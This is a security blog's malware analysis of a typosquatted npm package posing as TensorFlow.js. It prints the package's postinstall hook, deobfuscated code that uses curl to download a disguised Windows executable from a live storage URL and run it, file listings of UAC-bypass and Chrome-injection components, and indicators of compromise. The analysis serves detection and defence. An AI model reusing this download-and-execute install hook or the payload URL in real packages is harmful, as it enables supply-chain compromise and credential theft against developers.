---
title: "TensorFlow.js Typosquatting Attack: Malicious Package Targeting AI/ML Developers"
description: "A malicious NPM package targeting TensorFlow users was discovered on npm. The package uses typosquatting to target the popular `tensorflow` package."
url: "https://safedep.io/blog/malicious-npm-package-targeting-tensorflow-users"
author: "SafeDep Team"
published: "2025-08-12"
---

# TensorFlow.js Typosquatting Attack: Malicious Package Targeting AI/ML Developers

A sophisticated typosquatting attack targeting `TensorFlow.js` developers was discovered, distributing heavily obfuscated, multi-stage malware through `npm` post install scripts. In this blog, we provide the technical details of the malware.

## TL;DR

A malicious npm package named [tensorflowjs@0.7.0](https://www.npmjs.com/package/tensorflowjs) was discovered attempting to impersonate the legitimate [@tensorflow/tfjs](https://www.npmjs.com/package/@tensorflow/tfjs) package. The package contains heavily obfuscated JavaScript malware that executes automatically during installation via a post install script called `thanksinstall.js`. The malware employs multiple layers of obfuscation including hex encoding, function name mangling, and character code substitution to evade detection. The package was published by a suspicious account `graphite7199@gmail.com`.

The observed behavior of the malware:

- Executes `thanksinstall.js` during `npm install`
- Downloads and executes a `134MB` PE32+ executable from `https://storage.googleapis.com/nainaraz/success.png`
- `success.png` is a `vercel/pkg` packaged executable that contains a Node.js application along with embedded executables
- Leverages known UAC bypass techniques to execute the payload `coremodule.dll`
- Executes `grabbar/bin/chrome_inject_x64.exe` to inject into Chrome process likely to bypass [ABE](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption)

**NOTE:** The analysis is work in progress. We will update the blog post with more details as we continue to investigate the attack.

## Detection

The malicious package `tensorflowjs@0.7.0` was discovered by our [automated analysis system](https://platform.safedep.io/community/malysis/01K2EEBXJG6ZXTYAZ2CV90XY3C). Subsequent analysis by our team confirmed the malicious payload.

- **Package Name**: `tensorflowjs` (impersonating `@tensorflow/tfjs`)
- **Version**: 0.7.0
- **Publisher**: `graphite7199` with email `graphitediscord199@gmail.com`
- **Target**: AI/ML developers installing TensorFlow.js packages
- **Attack Vector**: Automatic execution via npm post install scripts, download and execute PE32+ executable, targeting Windows systems

## What is the Impact?

Our analysis identified a sophisticated malware delivered through heavily obfuscated JavaScript code in the `thanksinstall.js` file. The malware specifically targets Windows systems and includes multiple evasion techniques to avoid detection.

Known malicious payload behavior includes:

- Credential theft (MITRE TA0006)
- Screen capture (MITRE T1113)
- Drop and execute malicious executables (MITRE T1204.002)
- Discord server communication (MITRE T1567.004)

### Technical Impact Analysis

| **Component**      | **Size**     | **Purpose**                                         |
| ------------------ | ------------ | --------------------------------------------------- |
| `thanksinstall.js` | 14,883 bytes | Primary malware payload with post install execution |
| `index.js`         | 94,728 bytes | Decoy message                                       |
| `package.json`     | 275 bytes    | Contains malicious post install hook                |
| `README.md`        | 5,743 bytes  | Likely copied from legitimate package for disguise  |

### Obfuscation Techniques Detected

The malware employs multiple sophisticated obfuscation layers:

1. **Hex String Obfuscation**: Critical functions and strings are encoded in hexadecimal
2. **Function Name Mangling**: All variables use `_0x` prefixed random identifiers
3. **Character Code Substitution**: Integer to string conversion with custom cipher
4. **Control Flow Obfuscation**: Encrypted string decryption routines

## How SafeDep can protect developers?

SafeDep open source tools especially [vet](https://github.com/safedep/vet) and [pmg](https://github.com/safedep/pmg) can help protect developers from malicious packages and other open source software supply chain attacks. In this specific case, our automated systems flagged the package as suspicious due to multiple signals, including identifying the malicious code and intention in typosquatting packages.

For example, [pmg](https://github.com/safedep/pmg) will alert developers when trying to install the compromised package.

```bash title="PMG Alert" showLineNumbers=true
➜  ~ alias npm="pmg --verbose npm"
➜  ~ npm install tensorflowjs@0.7.0
ℹ️ Resolving dependencies for 1 package(s) ... ⠸
ℹ️ Analyzing 1 dependencies for malware ... ⠦

🚨 Suspicious package(s) detected: 1

⚠️  tensorflowjs@0.7.0
Package is likely malicious due to code obfuscation, arbitrary command execution
via `child_process.spawn`, and suspicious `postinstall` script.

Reference: https://platform.safedep.io/community/malysis/01K2EEBXJG6ZXTYAZ2CV90XY3C

Do you want to continue with the installation? (y/N)
```

Similarly, [vet](https://github.com/safedep/vet) will alert users in CI/CD pipelines when trying to add any of the compromised package through a PR.

## Technical Analysis

Our analysis was based on `tensorflowjs@0.7.0` with the following file structure:

```
package/
├── package.json (275 bytes)
├── index.js (94,728 bytes)
├── thanksinstall.js (14,883 bytes)
└── README.md (5,743 bytes)
```

The package.json reveals the malicious post-install hook:

```json
{
  "name": "tensorflowjs",
  "version": "0.7.0",
  "description": "Node.js moduIe for using TensorFIow graphs and modeIs",
  "main": "index.js",
  "scripts": {
    "postinstall": "node thanksinstall.js"
  },
  "author": "グラファイト",
  "license": "MIT"
}
```

### Analyzing thanksinstall.js

The `thanksinstall.js` file contains the primary malware payload. While heavily obfuscated, our analysis identified several key components:

#### Obfuscation Structure

The file begins with a complex obfuscation function that uses hex-encoded strings and character code substitution:

```javascript title="thanksinstall.js" showLineNumbers=true
function _0x3910(_0x57ed37, _0x28d098) {
  var _0x671258 = _0x4a23();
  return (
    (_0x3910 = function (_0x285c0e, _0x46f836) {
      _0x285c0e = _0x285c0e - (0x3 * -0x4c + 0x917 + -0x2 * 0x3d9);
      var _0x2e8565 = _0x671258[_0x285c0e];
      // ... complex deobfuscation routine
    }),
    _0x3910(_0x57ed37, _0x28d098)
  );
}
```

Manual analysis reveals some of the interesting parts of the code:

Checks for Windows platform:

```javascript title="thanksinstall.js" showLineNumbers=true
if (_0x5bc963.platform() !== 'win32') {
  process.exit(0);
}
```

Downloads and executes 2nd stage payload:

```javascript title="thanksinstall.js" showLineNumbers=true
const _0x509b60 = _0x3e9485.join(_0x5bc963.tmpdir(), 'installthanks.png');
const _0x20c1f1 = ['-L', 'https://storage.googleapis.com/nainaraz/success.png', '-o', _0x509b60];
const _0x3e7657 = {
  windowsHide: true,
};
function _0x2ac5a0(_0x3ad262, _0x1d30ef, _0xaf41b6, _0x4b31fc, _0x548376) {
  return _0x2935(_0x3ad262 - 0xa, _0x1d30ef);
}
const _0x2da3a9 = _0x1a6125('C:\\Windows\\System32\\curl.exe', _0x20c1f1, _0x3e7657);
```

This in turn executes the following command:

- Downloads PE32+ executable from `https://storage.googleapis.com/nainaraz/success.png`
- Downloads to `%TEMP%\installthanks.png`
- Executes the downloaded executable using `cmd.exec /c start <path to executable>`

```bash title="Downloading PE32+ executable" showLineNumbers=true
➜  wget https://storage.googleapis.com/nainaraz/success.png
➜  file success.png
success.png: PE32+ executable (GUI) x86-64, for MS Windows
➜  sha256 success.png
SHA256 (success.png) = 863d274bbeb22ab969f742a06d89bdf0ababb99fdeb074a0fd9057f28b1ef257
```

### Analyzing index.js

The `index.js` file contains additional obfuscated code that appears to serve as a decoy. It follows similar obfuscation patterns but includes what appears to be a legitimate console.log statement at the end:

```javascript title="index.js" showLineNumbers=true
console[_0x117039(_0x4d7185._0x2b9c21,-_0x4d7185._0x55ffff,
-_0x4d7185._0x579028,-_0x4d7185._0x4e2e46,-_0x4d7185._0xbfce91)](
// ... extremely long obfuscated string that when decoded appears to output:
// "Thanks for installing our package! Please report any issues on GitHub."
```

This appears to be an attempt to make the package seem legitimate by displaying a benign message while the real malware executes in the background.

Deobfuscated code reveals the following:

```javascript title="index.js" showLineNumbers=true
function _0x5447e2() {
  console.log(
    "“Movies that claim to recreate the past” are 90% fantasy filtered through modern eyes.\n\nPeriod dramas and historical films are full of lies.\nWhy? Because they're made by modern people for modern audiences.\nThat means they inevitably include modern moral values like:\n\nExample 1: Respect for Women\nIn many historical societies, women were treated like property.\nBut in today’s films, you get “strong independent heroines” or “warrior princesses” as a given.\nTruth is, a woman acting like that back then? She’d have been executed on the spot.\n\nExample 2: Value of Human Life\nIn historical wars, massacring prisoners was standard.\nYet in modern films, you hear lines like “Don’t kill them” or “Every life is precious.”\nThat’s not history—that’s modern humanism in costume.\n\nExample 3: Equality and Justice\nCaste systems, rigid social hierarchies, and slavery were the norm.\nStill, modern dramas will push “we're all equal” or “love that transcends class” as emotional highlights.\n\nWhy does this happen?\nSimple:\nIf you truly portrayed the past as it was, modern viewers would be disgusted.\nThey’d see every character as a vile, irredeemable piece of trash.\n\nUnless you inject modern morality, the characters become impossible to empathize with.\n\nSo what’s the result?\nWe’re not watching a “recreation.”\nWe’re watching a modern fantasy of an idealized past.\n\nReal history?\nIt was brutal, unfair, oppressive, and life was cheap.\nPortray it accurately, and even an R-rating wouldn’t be enough.\n\n  "
  );
}
_0x5447e2();
```

## Analyzing Stage2 Binary

The stage2 binary was downloaded from `https://storage.googleapis.com/nainaraz/success.png` by the `thanksinstall.js` file.

The 2nd stage binary is a PE32+ executable that is downloaded and executed by the `thanksinstall.js` file. We started by looking at some of the interesting strings in the binary.

```text title="Strings in the binary" showLineNumbers=true
C:\Users\kenken\Downloads\waruikoto\node_modules\speaker\build\Release\binding.pdb
C:\snapshot\waruikoto\node_modules\glob\dist\commonjs\index.js
Winnie the Pooh from China farted! oh no! Your computer has been infected with the covid 19! https://discord.gg/8WYA8z2xf4
```

Looking at `strings(1)`, it was evident that the executable was created by bundling Javascript files with Node.js and a loader, likely created using [vercel/pkg](https://github.com/vercel/pkg). Presence of [bootstrap.js](https://github.com/vercel/pkg/blob/9066ceeb391d9c7ba6aba650109c2fa3f8e088eb/prelude/bootstrap.js#L183) from [vercel/pkg](https://github.com/vercel/pkg) is a strong indicator for this.

Building a custom extractor for `vercel/pkg` is a bit tricky, but we were able to extract the Javascript files:

```text title="Extracted Javascript files" showLineNumbers=true
➜  success-extracted git:(main) ✗ ls -al waruikoto/loader-uacbypass
total 206128
drwxr-xr-x  8 dev  wheel       256 13 Aug 09:27 .
drwxr-xr-x  4 dev  wheel       128 13 Aug 09:27 ..
-rw-rw-rw-  1 dev  wheel  56840015 13 Aug 09:27 cliui.png
-rw-rw-rw-  1 dev  wheel  48305652 13 Aug 09:27 cliui2.png
-rw-rw-rw-  1 dev  wheel    107520 13 Aug 09:27 coremodule.dll
-rw-rw-rw-  1 dev  wheel    161144 13 Aug 09:27 index.js
-rw-rw-rw-  1 dev  wheel       506 13 Aug 09:27 package.json
-rw-rw-rw-  1 dev  wheel    108544 13 Aug 09:27 sigma2.exe
```

Looking at the file types

```text title="File types" showLineNumbers=true
➜  loader-uacbypass git:(main) ✗ file *
cliui.png:      PE32+ executable (GUI) x86-64, for MS Windows
cliui2.png:     PE32+ executable (GUI) x86-64, for MS Windows
coremodule.dll: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
index.js:       data
package.json:   JSON data
sigma2.exe:     PE32+ executable (console) x86-64, for MS Windows
```

The payload is a Node.js application with its own `package.json` containing:

```json title="package.json" showLineNumbers=true
{
  "name": "logo",
  "version": "1.0.0",
  "bin": "index.js",
  "pkg": {
    "targets": ["node16-win-x64"],
    "scripts": ["index.js"],
    "assets": ["cliui.png", "cliui2.png", "sigma2.exe", "coremodule.dll"]
  },
  "files": ["index.js", "cliui.png", "cliui2.png", "sigma2.exe", "coremodule.dll"],
  "dependencies": {
    "child_process": "^1.0.2"
  },
  "scripts": {
    "start": "node index.js",
    "build": "pkg ."
  }
}
```

We found the string `C:\Users\kenken\Downloads\QuickAssist_UAC_Bypass-main\QuickAssist_UAC_Bypass-main\x64\Release\QuickAssist_UAC_Bypass.pdb` in `sigma2.exe` which indicates that the executable is a Windows [UAC](https://en.wikipedia.org/wiki/User_Account_Control) bypass tool, likely [QuickAssist_UAC_Bypass](https://github.com/R41N3RZUF477/QuickAssist_UAC_Bypass). The `coremodule.dll` is likely the payload executed through UAC bypass to execute further payloads with higher privileges.

The embedded `cliui.png` and `cliui2.png` are in turn `vercel/pkg` packaged executables which in turn contains multiple executables.

**cliui.png**

```bash title="cliui.png" showLineNumbers=true
➜  waruikoto git:(main) ✗ ls -al
total 2872
drwxr-xr-x   10 dev  wheel     320 13 Aug 09:38 .
drwxr-xr-x    6 dev  wheel     192 13 Aug 09:38 ..
-rw-rw-rw-    1 dev  wheel  700494 13 Aug 09:38 beep.wav
-rw-rw-rw-    1 dev  wheel     512 13 Aug 09:38 boot.bin
-rw-rw-rw-    1 dev  wheel  200704 13 Aug 09:38 coremodule.exe
-rw-rw-rw-    1 dev  wheel  107008 13 Aug 09:38 coremodule3.exe
-rw-rw-rw-    1 dev  wheel  430736 13 Aug 09:38 index.js
drwxr-xr-x  162 dev  wheel    5184 13 Aug 09:38 node_modules
-rw-rw-rw-    1 dev  wheel     925 13 Aug 09:38 package.json
-rw-rw-rw-    1 dev  wheel   12288 13 Aug 09:38 sigma.exe
```

**cliui2.png**

```bash title="cliui2.png" showLineNumbers=true
➜  cliui2-extracted git:(main) ✗ ls -al waruikoto/grabber
total 280
drwxr-xr-x   7 dev  wheel     224 13 Aug 09:38 .
drwxr-xr-x   4 dev  wheel     128 13 Aug 09:38 ..
drwxr-xr-x   3 dev  wheel      96 13 Aug 09:38 bin
-rw-rw-rw-   1 dev  wheel    2416 13 Aug 09:38 dpapi-wrapper.js
-rw-rw-rw-   1 dev  wheel  132376 13 Aug 09:38 index.js
drwxr-xr-x  94 dev  wheel    3008 13 Aug 09:38 node_modules
-rw-rw-rw-   1 dev  wheel     428 13 Aug 09:38 package.json
```

## Conclusion

The `tensorflowjs` typosquatting attack represents a sophisticated supply chain threat specifically targeting the AI/ML development community. By impersonating the popular TensorFlow.js library, attackers attempted to compromise developer environments through automatic execution of heavily obfuscated malware.

Tools like [vet](https://github.com/safedep/vet) and [pmg](https://github.com/safedep/pmg) are built to protect developers against the risk of getting hacked due to malicious code from open sources. Irrespective of specific tools, we recommend all software development teams to adopt appropriate guardrails to protect against malicious open source packages at various stages in their SDLC.

## Appendix

### Indicators of Compromise (IOCs)

- **Package Name**: `tensorflowjs@0.7.0`
- **Publisher**: `graphite7199`
- **Email**: `graphitediscord199@gmail.com`
- **Discord Server** `https://discord.gg/8WYA8z2xf4`
- **SHA256 (thanksinstall.js)**: _10f9a1d620fa82e991977fcbb9ad20da3193f8a2f540bdfb80a37251bb290ae0_
- **SHA256 (index.js)**: _6e7f9a3c65fb053f1f5aa0a152f8490ed4a019573b54acf6e3f7d91daba973b8_
- **SHA256 (waruikoto/loader-uacbypass/cliui.png)**: _d544e4d4b16533a51e69b38b66251afef91b8ddecd5b2bbc0134d6929c17bd1e_
- **SHA256 (waruikoto/loader-uacbypass/cliui2.png)**: _37d785cce4b52cae470260d140918c5a7e5034f66ca8c7f1b1df005ad9a0ee0a_
- **SHA256 (waruikoto/loader-uacbypass/coremodule.dll)**: _fdf420be2bcde513a982111d3f8ca57b4d96ced11ada2361b5943c8fda386004_
- **SHA256 (waruikoto/loader-uacbypass/index.js)**: _6a386798a4cf028a3e9683aa85156de64f5106912ef44df3db767299784abee1_
- **SHA256 (waruikoto/loader-uacbypass/package.json)**: _33ef141b01d700b9c1072354f8b7abb20685485f96223f18d123aed5a38507f2_
- **SHA256 (waruikoto/loader-uacbypass/sigma2.exe)**: _801e63b9a5794091db3099b5e0d4ab37f5a0f511821af8c67492ba63d1b2eadb_
- **SHA256 (waruikoto/node_modules/child_process/package.json)**: _74ccc830594321078498fbe030c07fe617edaf66f6e57cfd60dce1d619e5a59a_
- **SHA256 (waruikoto/sigma.exe)**: _3d3b3b1f7829221fa8945c3161f7f9d373041abac0368db0a60f726e015fab60_
- **SHA256 (waruikoto/beep.wav)**: _7085691597afb8dad2cdd73b937292129e3f4b71569d758c879a550add66f100_
- **SHA256 (waruikoto/boot.bin)**: _3aecb1a242360fa76c47ecc4377ddfeedae9f5cb8cc21c43e1f13bf9d8d94850_
- **SHA256 (waruikoto/coremodule.exe)**: _bedf23fb5c555a2de2cc5a037fe18e5379768e3c0b166a60f1af8d02e43a5bce_
- **SHA256 (waruikoto/coremodule3.exe)**: _ac311b153a725f773791d062b26aa21388b6131f4110d7b20a240eb005e1d9c1_
- **SHA256 (waruikoto/index.js)**: _d3c9082ae158e4ab1e5889258a0245d3d708194243563fbf73091a96ec6f7749_
- **SHA256 (grabbar/bin/chrome_inject_x64.exe)**: _d46bb31dc93b89d67abffe144c56356167c9e57e3235bfb897eafc30626675bb_

Other interesting strings in various embedded executables:

```
C:\Users\kenro\source\repos\
C:\Users\kenro\source\repos\mouseandkeydestroyer\x64\Release\mouseandkeydestroyer.pdb
Winnie the Pooh from China farted! oh no! Your computer has been infected with the covid 19! https://discord.gg/8WYA8z2xf4
```

## References

- https://obf-io.deobfuscate.io/
- https://github.com/tensorflow/tfjs
- https://platform.safedep.io/community/malysis/01K2EEBXJG6ZXTYAZ2CV90XY3C
- https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption
